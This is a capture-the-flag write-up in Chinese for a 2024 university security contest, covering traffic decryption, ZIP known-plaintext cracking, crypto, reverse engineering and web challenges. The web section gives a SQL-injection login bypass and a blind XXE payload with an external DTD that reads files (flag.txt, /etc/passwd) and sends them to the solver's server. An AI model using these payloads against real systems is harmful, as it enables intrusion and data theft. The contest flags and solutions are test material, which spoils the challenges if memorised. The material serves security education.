2024高校网络安全管理运维赛
文章目录
MISC
签到
考点:动态图片分帧提取
没啥好说的,给了一个动态的flag 所以用在线或者StegServer工具都可以分帧提取
然后按照图片所述,上cyberchef rot13解密
easyshell
考点:流量分析 冰蝎3.0
打开后过滤一下http
追踪http流
先分析一下特征,发现是冰蝎3
判断条件:参考:https://blog.csdn.net/pingan233/article/details/129168134
- Accept字段
Accept: text/html,image/gif, image/jpeg, *; q=.2, */*; q=.2
- UserAgent字段
(这个图是在网上搜的,版权原因师傅们可以自行搜索一下网上都有)
- 长连接
到此确定为冰蝎3
然后去翻到下面看返回的数据,需要对其发送请求的内容进行解密
冰蝎3主要就两层加密如下:
AES + BASE64解密
https://blog.csdn.net/weixin_46081055/article/details/120007338
其中AES的密钥一般是默认的
e45e329feb5d925b
iv全设置为0
去一点点追踪http流看看解密后内容
主要是看蓝色返回包内容
从少的开始 从后往前
AES:
注意这段非常重要
继续往上
检测到压缩包PK开头特征
提取zip 直接按右边的保存即可提取成功
两个文件 secret1 和 secret2在一个压缩包里 但是都需要密码
在往上走
其中对最后两个解密 第一个是secret2.txt
第二个是temp.zip
这和我们的提取出来的非常一致啊
就这几个信息 还能干嘛 回忆我们之前拿到一段奇怪的明文 推测这就是secret2.txt的内容 而我们的flag就是secret1的内容
那么这个压缩包已知其中一个文件内容,利用已知明文攻击,上工具
bkcrack
首先构造一下文件目录 测试了
know.zip放的内容如上
构造命令:
bkcrack -C download.zip -c secret2.txt -P know.zip -p secret2.txt
其中-C表示密文(cipher),-p为明文(plaintext),明文和密文中明文的部分对应,这么说是因为上午试过了把secret.txt或者整个压缩包作为密文,然后都找不出key!
然后-C应该是指外层文件,-c应该是内层文件
拿到key后的下一步 解到新的zip文件中 并自己设置密码为happysu
bkcrack -C download.zip -k<key>-U flag.zip happysu
在flag.zip中拿下
参考:https://blog.csdn.net/Rick66Ashley/article/details/130015948
Web
phpsql
考点:sql万能钥匙
开题是一个登录界面,起初的思路是sql注入,队友试了时间盲注和布尔盲注
但是很慢也报不出来,看着解数增长的这么快,我们感觉可能是思路错了,应该是想复杂了,那就试试万能钥匙吧
下面是解题思路
首先随便测一个 可以去注册,既然出题人写了注册功能,肯定要给我们什么信息吧
注册好后,登录,可以发现需要登录一个admin用户
结合题目描述 > 你能成为管理员吗 可以确定需要作为admin用户登录
先尝试一下对用户名采用万能钥匙
败了
那么 非常新颖的思路来了!确定用户名是admin 所以对密码进行万能钥匙!
不能有空格 故输入
'||1#
登录成功,直接拿下:
不过关于这题还要补充一下:其实在真实场景中对密码进行这样的sql注入是不合理> 的,毕竟绝大多网站都会把密码转md5加密后存储
fileit
考点:xml注入 外带
首先开题,就一个非常直白的界面
Ctrl+U 看一下
非常明显的提示,但是我不懂,搜一下
不是很理解 呜呜 问一下gpt
simplexml_import_dom()
函数用于将 DOM(文档对象模型)节点转换为 SimpleXML(简单 XML)节点。DOM 是一种树状结构,表示 XML 文档的完整内容,而 SimpleXML 则是 PHP 中一种简单且易于使用的 XML 解析器,允许开发者使用面向对象的方式轻松地处理 XML 数据。
与 XXE(XML 外部实体注入)相关的内容是在处理 XML 数据时可能遇到的安全问题。XXE 攻击利用 XML 解析器的功能,通过向 XML 文档中插入恶意实体来获取敏感信息或执行远程代码。在 PHP 中,SimpleXML 解析器对外部实体默认是启用的,这意味着如果应用程序在处理用户提供的 XML 数据时不小心暴露了 XML 解析器,就有可能成为 XXE 攻击的目标。
此外其实看到这个函数 可以一眼定XML外部实体注入 且无回显,因为漏洞源码如下:
<?php$xmlfile=file_get_contents('php://input');$dom=newDOMDocument();$dom->loadXML($xmlfile,LIBXML_NOENT|LIBXML_DTDLOAD);$xml=simplexml_import_dom($dom);$xxe=$xml->xxe;$str="$xxe \n";?>
所以我们来尝试一下XML外部实体注入 界面没什么回显 就是XML外部实体注入 使用payload直接梭 注意把ip换成自己服务器的
发包内容:
<!DOCTYPEconvert[
<!ENTITY % remote SYSTEM "http://192.168.134.128/eval.xml">
%remote;%payload;%send;
]>
自己的服务器上接收数据:
eval.xml
<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=file:///d:/flag.txt">
<!ENTITY % payload "<!ENTITY % send SYSTEM 'http://192.168.134.128/?content=%file;'>">
参考来源:http://tttang.com/archive/1716/#toc__6
其实一开始可以先读个
file:///etc/passwd
测试一下
那么接下来是对浏览器抓包 这里其实当时踩坑了 因为题目环境一开始不出网 所以根本没法打 后面重启了一下才可以
抓包后修改一下请求包类型
起初content-Type是没有的
改成这样
个人踩坑:
httpd 也就是nginx没启动 没设置开机自启
启动命令
systemctl status nginx #状态 systemctl start nginx #启动
查看服务器访问日志
拿下:
Crypto
secretbit
考点:代码阅读理解 频率分析
题目:
from secret import flag
from random import randrange, shuffle
from Crypto.Util.number import bytes_to_long
from tqdm import tqdm
definstance(m, n):#随机性
start =list(range(m))
shuffle(start)for i inrange(m):
now = start[i]
this_turn =Falsefor j inrange(n-1):if now == i:
this_turn =Truebreak
now = start[now]ifnot this_turn:return0return1defleak(m, n, times=2000):
message =[instance(m, n)for _ inrange(times)]return message
MAX_M =400
MIN_M =200#把flag转成整形 然后再转为二进制
flag_b =[int(i)for i inbin(bytes_to_long(flag))[2:]]
leak_message =[]for bi in tqdm(flag_b):#对每一个二进制位操作#生成合适的tmp_m0 n0 m1 n1whileTrue:# m = 200 - 400# n = 100 - 356
tmp_m0 = randrange(MIN_M, MAX_M)
tmp_n0 = randrange(int(tmp_m0//2),int(tmp_m0 *8//9))
tmp_m1 = randrange(MIN_M, MAX_M)
tmp_n1 = randrange(int(tmp_m1//2),int(tmp_m1 *8//9))ifabs(tmp_m0-tmp_m1-tmp_n0+tmp_n1)> MAX_M //5:break
choose_m = tmp_m0 if bi ==0else tmp_m1
choose_n = tmp_n0 if bi ==0else tmp_n1
leak_message.append([[tmp_m0, tmp_n0],[tmp_m1, tmp_n1], leak(choose_m, choose_n)])#需要做的是 每一个flag的bit位都会生成一组泄露数据# 我们知道tmpm0和tmpn0 以及 tmpm1和tmpn1 需要通过leak的0 1值 去恢复 choose_m 和 choose_nopen('data.txt','w').write(str(leak_message))
解题:
其中注释都是自己加的,虽然一开题还是有点懵的,但是这个题作为我这种菜鸡密码人的唯一的倔强,ai那个根本看不懂,只能来好好分析一下咯
先写一点小demo进行测试一下instance函数在干什么
首先是对于shuffle
start =list(range(10))print(start)
shuffle(start)#直接打乱 不需要接收print(start)
result:
[0, 1, 2, 3, 4, 5, 6, 7, 8, 9]
[2, 1, 4, 5, 3, 8, 0, 7, 6, 9]
这个对题目也没有什么影响,了解一下就好
下面是最关键的
我们知道tmpm0和tmpn0 以及 tmpm1和tmpn1 需要通过leak的0 1值 去恢复 choose_m 和 choose_n到底是等于哪个
所以我们把tmpm0和tmpn0 以及 tmpm1和tmpn1 都跑一遍这个leak函数 看看结果
两次结果来对比一下,哇靠,一模不一样啊 这打个集贸啊
思考思考,必须恢复,那我们要看看频率了 看看1和0的频率
针对0和1统计频率 你能想到什么!必然是求和!非常方便
可以发现频率是比较稳定的
看看另一个
其实差距还是蛮大的 所以说 判断的方法就是 两个都自己本地leak一次 得到频率 然后读取题目泄露的数据 得到真实的频率 两个自己生成的看看哪个接近 就能判断当前的bit位是谁啦
exp:
from random import randrange, shuffle
from Crypto.Util.number import bytes_to_long
from tqdm import tqdm
definstance(m, n):#随机性
start =list(range(m))
shuffle(start)for i inrange(m):
now = start[i]
this_turn =Falsefor j inrange(n-1):if now == i:
this_turn =Truebreak
now = start[now]ifnot this_turn:return0return1defleak(m, n, times=2000):
message =[instance(m, n)for _ inrange(times)]return message
withopen('data.txt','r')asfile:# 读取文件中的数据
data =file.read()# 将读取的字符串数据转换为列表 注意这是一个三元组
leak_message =eval(data)
flag_b =[]#对flag的每一个bit泄露进行操作for bit in leak_message:
m0 = bit[0][0]
n0 = bit[0][1]
m1 = bit[1][0]
n1 = bit[1][1]
res =sum(bit[2])
res0 =sum(leak(m0, n0))
res1 =sum(leak(m1, n1))#如果0接近ifabs(res0 - res)<abs(res1 - res):
flag_b.append('0')else:
flag_b.append('1')print(''.join(flag_b))print(''.join(flag_b))
10min左右
拿下:
a =0b110011001101100011000010110011101111011011101000110100001101001011100110101111100110001011100110101111101110100011010000110010101011111011100110100010101100011011100100110010101110100010111110110011000110001011000010110011101111101
b =int(a)print(long_to_bytes(b))#b'flag{this_1s_the_sEcret_f1ag}'
RE
easyre
考点:base64换表
开题
shift+F12 打开字符串
一眼定 base64换表
babyre
考点:UPX脱壳,Z3求解
开题一看 这么几个函数,必定加壳了
用exeinfo查一下
发现是UPX壳 用给出的命令脱壳
同样先shift+F12查看一下字符串
找到非常吸睛的flag!
显然有四个加密点,需要我们去恢复,只要恢复回来就会直接输出flag
注意我们的目的是让每个函数都返回0 避免跳转到LABEL_7
Part1:
第一部分的条件非常清晰
a1 -0xADB1D018==0x36145344
Part2:
(a1 |0x8E03BEC3)-3*(a1 &0x71FC413C)+ a1 ==0x902C7FF8
Part3:
a1 <0x100000004*((~a1 &0xA8453437)+2*~(~a1 |0xA8453437))+-3*(~a1 |0xA8453437)+3*~(a1 |0xA8453437)-(-10*(a1 &0xA8453437)+(a1 ^0xA8453437))==551387557
Part4:
11*~(a1 ^0xE33B67BD)+4*~(~a1 |0xE33B67BD)-(6*(a1 &0xE33B67BD)+12*~(a1 |0xE33B67BD))+3*(a1 &0xD2C7FC0C)+-5* a1
-2*~(a1 |0xD2C7FC0C)+~(a1 |0x2D3803F3)+4*(a1 &0x2D3803F3)--2*(a1 |0x2D3803F3)==0xCE1066DC
注意上面的a1不一定是最终的a4 因为参数不一样
使用z3求解器
from z3 import*
s = Solver()
a4 = BitVec("a4",32)
a1 = BitVec("a1",32)
a2 = BitVec("a2",32)
a3 = BitVec("a3",32)
s.add( a1 -0xADB1D018==0x36145344)
s.add((a2 |0x8E03BEC3)-3*(a2 &0x71FC413C)+ a2 ==-1876131848)
s.add(4*((~a3 &0xA8453437)+2*~(~a3 |0xA8453437))+-3*(~a3 |0xA8453437)+3*~(a3 |0xA8453437)-(-10*(a3 &0xA8453437)+(a3 ^0xA8453437))==551387557)
s.add(11*~(a4 ^0xE33B67BD)+4*~(~a4 |0xE33B67BD)-(6*(a4 &0xE33B67BD)+12*~(a4 |0xE33B67BD))+3*(a1 &0xD2C7FC0C)+-5* a1 -2*~(a1 |0xD2C7FC0C)+~(a1 |0x2D3803F3)+4*(a1 &0x2D3803F3)--2*(a1 |0x2D3803F3)==0xCE1066DC)if s.check()== sat:print(s.model())else:print("???? ERROR")
直接梭了
result:
[a3 = 78769651,
a4 = 2341511158,
a2 = 98124621,
a1 = 3821413212]
拿下:
flag{e3c6235c-05d9434d-04b1edf3-8b909ff6}
版权归原作者 哈皮Superman 所有, 如有侵权,请联系我们删除。